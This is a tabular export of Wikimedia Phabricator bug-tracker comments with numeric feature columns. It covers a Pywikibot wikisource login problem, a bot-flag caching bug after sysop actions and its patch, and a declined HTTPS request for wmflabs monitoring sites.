265865,Can't login to wikisource.org,- **priority**: 7 --> 5,,,1380947666,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.7272727272727273,0.7272727272727273,- **priority**: 7 --> 5
265861,Can't login to wikisource.org,Please try the suggested method before increading priority.,,,1380947665,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.777777777777778,1.0,Please try the suggested method before increading priority.
265855,Can't login to wikisource.org,- **priority**: 5 --> 7,,,1380947663,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.7272727272727273,0.7272727272727273,- **priority**: 5 --> 7
265850,Can't login to wikisource.org,"Instead of mylang='', try using mylang='-' \(and also adapting your username config as such\).",,,1380947661,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Instead of mylang='', try using mylang='-' \(and also adapting your username config as such\)."
57140,force login after performing a sysop action,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1632/
Reported by: nu11zer0
Created on: 2013-05-03 05:54:46
Subject: force login after performing a sysop action
Assigned to: russblau
Original description:
After my bot performed a sysop action, then wrote to a page, the bot wrote without botflag\! It seems that the framework cached some informations and understood that the bot has no flag. My workaround is to add ""site.login\(\)"" after every sysop action. But it should be implemented in the framework. Note that now redirect.py also has this problem.

\----
Pywikibot branches/rewrite/ \(r11487, 2013/05/02, 07:59:55, ok\)
Python 2.7.3 \(default, Sep 26 2012, 21:53:58\) 
\[GCC 4.7.2\]
unicode test: ok

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1632
https://bugzilla.wikimedia.org/show_bug.cgi?id=55066",Needs Triage,90.0,1380947460,1431068904.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_description,resolved,True,c3,1,True,False,True,-91,True,1.0,0.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,3.5,7.0,0.0,0.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,1.0,2.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,1.0,3.5,0.0,0.0,0.0,0.0,1.5,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,11.5,1.5,1.0,5.5,0.0,0.0,0.5,0.0,2.0,0.5,6.5,0.0,2.0,7.0,5.0,0.0,1.0,0.0,2.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.9065757818765032,0.6703421545041433,"Originally from: URL
Reported by: nu11zer0
Created on: 2013-05-03 05:54:46
Subject: force login after performing a sysop action
Assigned to: russblau
Original description:
After my bot performed a sysop action, then wrote to a page, the bot wrote without botflag\! It seems that the framework cached some informations and understood that the bot has no flag. My workaround is to add ""site.login\(\)"" after every sysop action. But it should be implemented in the framework. Note that now redirect.py also has this problem.

\----
Pywikibot branches/rewrite/ \(r11487, 2013/05/02, 07:59:55, ok\)
Python 2.7.3 \(default, Sep 26 2012, 21:53:58\) 
\[GCC 4.7.2\]
unicode test: ok

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
415402,force login after performing a sysop action,"Change 192178 merged by jenkins-bot:
Postpone botflag checking in Page

[[https://gerrit.wikimedia.org/r/192178]]",,,1424592321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,3.9,0.9,"Change 192178 merged by jenkins-bot:
Postpone botflag checking in Page

[[GERRIT_URL]]"
415401,force login after performing a sysop action,"Change 192178 had a related patch set uploaded (by VcamX):
Postpone botflag checking in Page

[[https://gerrit.wikimedia.org/r/192178]]

#patch-for-review",,,1424591405,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.6774193548387095,0.8387096774193549,"Change 192178 had a related patch set uploaded (by VcamX):
Postpone botflag checking in Page

[[GERRIT_URL]]

#patch-for-review"
415391,force login after performing a sysop action,"@jayvdb @Nullzero I found out what causes this bug. 
When we do an edit, the parameter [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#1004 | botflag ]] of function `save` in pywikibot-core/page will decide whether this edit will have botflag or not. This [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#L1030 | line ]] will check the user right. If A performing sysop action first, it will cached sysop cookie in `pywikibot.lwp`. Then B performing a bot action without executing like `site.login()` first and doing an edit, the botflag will be set as false since the pywikibot will check user right using sysop cookie, and of course there's no `bot` in `site.userinfo['rights']`. Although we have decorator `must_be` for editpage (see [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L4033 | this ]]) which will check the user when doing an edit. The botflag is set as false before the decorator  `must_be` works.",,,1424582984,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.5,1.5,1.0,5.5,8.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.5,3.5,3.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,18.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,1.5,11.0,3.5,2.0,10.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,2.0,8.0,5.5,0.0,0.0,0.0,2.0,0.0,2.5,3.0,0.0,3.5,0.0,0.0,2.0,3.7468354430379747,0.6962025316455696,"SCREEN_NAMESCREEN_NAME I found out what causes this bug. 
When we do an edit, the parameter [[ URL | botflag ]] of function CODE in pywikibot-core/page will decide whether this edit will have botflag or not. This [[ URL | line ]] will check the user right. If A performing sysop action first, it will cached sysop cookie in CODE. Then B performing a bot action without executing like CODE first and doing an edit, the botflag will be set as false since the pywikibot will check user right using sysop cookie, and of course there's no CODE in CODE. Although we have decorator CODE for editpage (see [[ URL | this ]]) which will check the user when doing an edit. The botflag is set as false before the decorator  CODE works."
415388,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update**: I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579389,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,1.0,1.0,9.0,0.0,1.0,0.0,0.0,9.0,0.0,6.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.642857142857143,0.7428571428571429,SCREEN_NAME How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same CODE) ? **Update**: I may probably get your point. I'm able to reproduce this bug. Thanks for your help :)
415387,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update** I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579371,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,1.0,1.0,9.0,0.0,1.0,0.0,0.0,9.0,0.0,6.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.681159420289855,0.7391304347826086,SCREEN_NAME How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same CODE) ? **Update** I may probably get your point. I'm able to reproduce this bug. Thanks for your help :)
415385,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ?,,,1424576909,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,5.0,9.0,0.0,9.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,3.9545454545454546,0.75,SCREEN_NAME How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same CODE) ?
414863,force login after performing a sysop action,"If I don't misremember, the problem arises when I run two scripts simultaneously. Suppose two scripts are A and B, with A performing sysop actions (without botflag) and B performing bot actions (with botflag). It seems that some settings about botflag are shared somehow, so frequently B doesn't use botflag to edit. Thus edits appear in recentchanges.",,,1424452073,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-19,True,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,11.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,4.0,3.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,4.0,11.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.228571428571429,0.6857142857142857,"If I don't misremember, the problem arises when I run two scripts simultaneously. Suppose two scripts are A and B, with A performing sysop actions (without botflag) and B performing bot actions (with botflag). It seems that some settings about botflag are shared somehow, so frequently B doesn't use botflag to edit. Thus edits appear in recentchanges."
414746,force login after performing a sysop action,"@jayvdb @Nullzero I found there's a decorator [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L1036 | must_be ]] in modul pywikibot/site, which limit the user status when functions are called. In my option, it may solve the bug since it checks the user status before the decorated function runs.",,,1424443044,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,2.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,8.0,10.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,4.1568627450980395,0.803921568627451,"SCREEN_NAMESCREEN_NAME I found there's a decorator [[ URL | must_be ]] in modul pywikibot/site, which limit the user status when functions are called. In my option, it may solve the bug since it checks the user status before the decorated function runs."
414638,force login after performing a sysop action,"@jayvdb @Nullzero this is my [[ https://gist.github.com/VcamX/f26066fd09a992cbce6e | test script ]] for reproducing the bug, but the results showed it works well. Maybe I still didn't get your point...",,,1424426801,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.8823529411764706,0.9117647058823529,"SCREEN_NAMESCREEN_NAME this is my [[ URL | test script ]] for reproducing the bug, but the results showed it works well. Maybe I still didn't get your point..."
414586,force login after performing a sysop action,"The current design of pywikibot is that it always uses the sysop account **only** for actions which require sysop capabilities.  It uses the bot account for everything else. T71283 is considering to change that design.

My understanding of this problem is
1. pywikibot logs into site with the non-sysop account, that has the 'bot' flag, maybe does an edit which is a 'bot' edit.
2. pywikibot logs into site with the sysop account, that does not have the 'bot' flag.
3. pywikibot edit using non-sysop account should be marked as a 'bot' edit ('b' in recent changes), .. however the edit isnt marked as a bot edit, and that is this bug.

In step 2, the site object does not keep the login credentials of the non-sysp account. T67196
In step 3, the site object should re-login automatically using non-sysop username and password in config.password_file.",,,1424410305,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.5,0.0,1.0,1.0,7.0,1.5,0.0,0.0,0.0,3.5,5.0,0.0,0.5,0.0,0.5,1.0,4.5,9.0,0.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,7.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,23.5,1.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,8.0,3.5,3.5,0.5,1.0,11.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,1.5,9.0,2.0,0.0,5.0,0.0,1.5,0.0,2.0,2.0,0.0,1.5,0.0,0.0,2.0,3.6134817563388992,0.5482374768089053,"The current design of pywikibot is that it always uses the sysop account **only** for actions which require sysop capabilities.  It uses the bot account for everything else. T71283 is considering to change that design.

My understanding of this problem is
1. pywikibot logs into site with the non-sysop account, that has the 'bot' flag, maybe does an edit which is a 'bot' edit.
2. pywikibot logs into site with the sysop account, that does not have the 'bot' flag.
3. pywikibot edit using non-sysop account should be marked as a 'bot' edit ('b' in recent changes), .. however the edit isnt marked as a bot edit, and that is this bug.

In step 2, the site object does not keep the login credentials of the non-sysp account. T67196
In step 3, the site object should re-login automatically using non-sysop username and password in config.password_file."
411785,force login after performing a sysop action,"Yes, but I will not be able to contribute to Pywikibot for a while. Feel free to take over my patches, bugs, etc.",,,1423974710,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,False,,,-20,True,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,18.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,7.0,18.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.25,0.8214285714285714,"Yes, but I will not be able to contribute to Pywikibot for a while. Feel free to take over my patches, bugs, etc."
411784,force login after performing a sysop action,Was this your ticket @nullzero?,,,1423974378,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.8,1.0,Was this your ticketSCREEN_NAME?
264953,force login after performing a sysop action,"I'm also have similar problem.

After updating pywikibot framework, forcing login is somewhat strange.

When bot name differ by project \(E.g, different name for local wiki and meta/commons wiki\), login is requested for local bot name in meta wiki.

\------------------------------------------------------------------------
Pywikibot \[http\] branches/rewrite \(r11617, 2013/06/02, 13:07:05, OUTDATED\)
Python 2.6.5 \(r265:79063, Oct  1 2012, 22:04:36\)
\[GCC 4.4.3\]
unicode test: ok",,,1380947468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,6.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,4.876404494382022,0.6966292134831461,"I'm also have similar problem.

After updating pywikibot framework, forcing login is somewhat strange.

When bot name differ by project \(E.g, different name for local wiki and meta/commons wiki\), login is requested for local bot name in meta wiki.

\------------------------------------------------------------------------
Pywikibot \[http\] branches/rewrite \(r11617, 2013/06/02, 13:07:05, OUTDATED\)
Python 2.6.5 \(r265:79063, Oct  1 2012, 22:04:36\)
\[GCC 4.4.3\]
unicode test: ok"
56710,Fix HTTPS redirect for icinga.wmflabs.org,"**Author:** `metatron`

**Description:**
HTTPS on both wmflabs-sites not possible:
http://icinga.wmflabs.org/icinga/
http://ganglia.wmflabs.org/latest/

On wikimedia-sites it works fine
https://icinga.wikimedia.org/icinga/
https://ganglia.wikimedia.org/latest/

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1380297180,1419723474.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-TASK-xzc5j7guth2pi6tihr6u,task_description,declined,True,c3,1,False,False,True,-92,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4464285714285716,0.48214285714285715,"**Author:** CODE

**Description:**
HTTPS on both wmflabs-sites not possible:
URL
URL

On wikimedia-sites it works fine
URL
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
393273,Fix HTTPS redirect for icinga.wmflabs.org,"closing:
>>! In T85318#944034, yuvipanda wrote:
> Neither icinga nor ganglia will be used in labs anymore.
> [...]",,,1419723474,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.5,"closing:
QUOTE
QUOTE
QUOTE"
